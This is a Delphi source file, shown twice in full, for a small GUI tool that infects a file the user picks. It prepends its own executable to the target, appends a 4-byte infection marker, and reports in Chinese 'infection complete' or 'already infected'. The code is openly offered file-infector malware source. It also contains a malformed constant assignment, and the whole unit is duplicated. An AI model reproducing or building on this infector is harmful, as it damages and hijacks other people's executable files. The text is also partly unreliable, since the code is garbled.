Code
unit Unit5;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm5 = class(TForm)
Label1: TLabel;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
OpenDialog1: TOpenDialog;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure copy(s:string);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form5: TForm5;
implementation
{$R *.dfm}
procedure TForm5.Button1Click(Sender: TObject);
begin
if opendialog1.Execute then //打开
edit1.Text:=opendialog1.FileName;
end;
procedure tform5.copy(s:string);
var
s1,s2:tmemorystream;
id,iid:longint;
begin
id:=$+strtoint('66666666');
s1:=tmemorystream.Create;
s1.LoadFromFile(paramstr(0));
s2:=tmemorystream.Create;
s2.LoadFromFile(s);
s2.Seek(-4,sofromend);
s2.Read(iid,4);
if iid=id then
begin
s1.Free;
s2.Free;
showmessage('文件已经感染了!!');
end
else
begin
s2.Seek(0,sofrombeginning);
s1.Seek(0,sofromend);
s1.CopyFrom(s2,s2.Size);
s1.Seek(0,sofromend);
s1.Write(id,4);
s1.SaveToFile(s);
s1.Free;
s2.Free;
showmessage('感染完成!!');
end;
end;
procedure TForm5.Button2Click(Sender: TObject);
begin
if edit1.Text='' then
showmessage('请选择文件!!')
else
copy(edit1.Text);
end;
end.
unit Unit5;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm5 = class(TForm)
Label1: TLabel;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
OpenDialog1: TOpenDialog;
procedure Button2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure copy(s:string);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form5: TForm5;
implementation
{$R *.dfm}
procedure TForm5.Button1Click(Sender: TObject);
begin
if opendialog1.Execute then //打开
edit1.Text:=opendialog1.FileName;
end;
procedure tform5.copy(s:string);
var
s1,s2:tmemorystream;
id,iid:longint;
begin
id:=$+strtoint('66666666');
s1:=tmemorystream.Create;
s1.LoadFromFile(paramstr(0));
s2:=tmemorystream.Create;
s2.LoadFromFile(s);
s2.Seek(-4,sofromend);
s2.Read(iid,4);
if iid=id then
begin
s1.Free;
s2.Free;
showmessage('文件已经感染了!!');
end
else
begin
s2.Seek(0,sofrombeginning);
s1.Seek(0,sofromend);
s1.CopyFrom(s2,s2.Size);
s1.Seek(0,sofromend);
s1.Write(id,4);
s1.SaveToFile(s);
s1.Free;
s2.Free;
showmessage('感染完成!!');
end;
end;
procedure TForm5.Button2Click(Sender: TObject);
begin
if edit1.Text='' then
showmessage('请选择文件!!')
else
copy(edit1.Text);
end;
end.